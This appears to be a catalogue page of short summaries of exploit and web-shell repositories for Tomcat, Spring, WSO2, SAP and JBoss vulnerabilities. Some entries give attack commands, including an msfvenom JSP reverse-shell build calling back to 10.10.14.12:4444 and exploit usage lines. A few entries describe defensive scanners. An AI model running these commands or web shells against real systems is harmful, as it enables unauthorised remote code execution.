CVE-2024-21733

CVE-2024-21733-POC Notes: 1. tomcat English environment 2. Specific constructed backend code, as shown in ROOT/vulnerable.jsp 3. If needed, modify the server address and port in the script. Default 127.0.0.1:8080 4. Timeout trigger, default 20 seconds, usually less than this time Process: 1...

NebulaPulsar

NebulaPulsar Update: This project has now become a sub-project of Alien for demonstrating my ideas and experimental purposes. NebulaPulsar is a proof-of-concept in-memory implant framework for Java JSP and ASP.NET ASPX/ASHX/ASMX, originally developed as part of the Alien project. Unlike tradition...

CVE-2025-31324

SAP CVE-2025-31324 Analyzer A Python-based security scanner for identifying the CVE-2025-31324 vulnerability in SAP Visual Composer systems, and detecting known Indicators of Compromise IOCs such as malicious .jsp. 🚀 Features Detects vulnerable Visual Composer endpoints Scans for known malicious...

ghostcat

This tool exploits an LFI vulnerability within Apache Tomcat named CVE-2020-1938 to not only view sensitive files, but also to run malicious JSP payloads. It can be downloaded here you will need to run it from the command line Usage: ghostcat target HTTP port AJP port file read/eval...

springshell-rce-poc

CVE-2022-22965 - vulnerable app and PoC Trial & error $ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py Output example rce sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6...

jboss-autopwn

jboss-autopwn JBoss Autopwn as featured at BlackHat Europe 2010 - this version incorporates CVE-2010-0738 the JBoss authentication bypass VERB manipulation vulnerability as discovered by Minded Security C. Papathanasiou 2010 INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss A...

CVE-2024-50379-POC

CVE-2024-50379 Exploitation and POC This repository contains a Proof of Concept POC for CVE-2024-50379 , a vulnerability affecting Apache Tomcat. The issue involves a Time-of-Check Time-of-Use TOCTOU race condition , which can lead to Remote Code Execution RCE , especially on case-insensitive fil...

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Example :...

wsh

wsh wsh pronounced woosh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There's a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow...

CVE-2024-50379

CVE-2024-50379 CVE-2024-50379 Exploit CVE-2024-50379.py and upload.txt are in the same directory The upload content is the webshell Here, the upload content generates a 2.jsp file You can use 2.jsp to create a new 4.jsp, the original Behinder webshell...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM Script usage example python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Where --host is a SAP server...

apache__jspwiki_CVE-2019-10078_2_11_0_M4_fixed

Apache JSPWiki 2.11 - Documentation Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License,...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is a serious flaw in WSO2. The flaw is an unauthorised, unconstrained arbitrary file upload that enables unauthorised users to upload malicious JSP files to WSO2 servers and get Remote Code Execution RCE. the vulerable upload rou...

phpsploit

Full-featured C2 framework which silently persists on webserver via polymorphic PHP oneliner codeclimate maintainability Created by nil0x42 and contributors !https://assets.kitploit.com/production/public/readmes/320/aca304368ddb35833ee8b1f57c068ae36288119...

CVE-2022-2185-poc

CVE-2022-2185-poc CVE-2022-2185 poc https://www.xust.edu.cn/cve/index.jsp...

CVE-2017-12615-EXP

CVE-2017-12615-EXP .\CVE-2017-12615.exe @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@ @@@@@ @@@ @@@@@@@ !@@ @@! @@@ @@! @@ @@@ @@! @@@ @@@@ @@! @@@@ @@ @@@ @@!@ @@@@ !@@ !@! @!@ !@! @!!!:! @!@!@!@! .!!@! @!@ !@! !@! @!! @!@!@!@! !@! .!!@! @!@!@!@ !@! !!@@!! :!! !: .:! !!: !!: !!:...

CVE-2024-50379-exp

CVE-2024-50379-exp -t race condition time -u domain -f write webshell Testing found that during the first race condition, there is a high probability that writing will fail. Another race condition is required to write the webshell. Therefore, the script first performs a fixed 6-second race...

CVE-2025-24813

CVE-2025-24813 - Apache Tomcat Path Equivalence Vulnerability Apache Tomcat is vulnerable to a Path Equivalence / Path Traversal issue due to improper handling of ../ sequences in paths. CVE ID: CVE-2025-24813 Severity: Critical Reference link: https://github.com/advisories/GHSA-83qj-6fr2-vhqg Po...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core batch detection script Disclaimer: This script is for learning purposes only. Prohibited for illegal use. If there is any malicious destruction or illegal use, it has nothing to do with me!!! Usage: python3 CVE-2022-22965-POC.py url.txt After successf...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is critical vulnerability on WSO2 discovered by Orange Tsai. the vulnerability is an unauthenticated unrestricted arbitrary file upload which allows unauthenticated attackers to gain RCE on WSO2 servers via uploadi...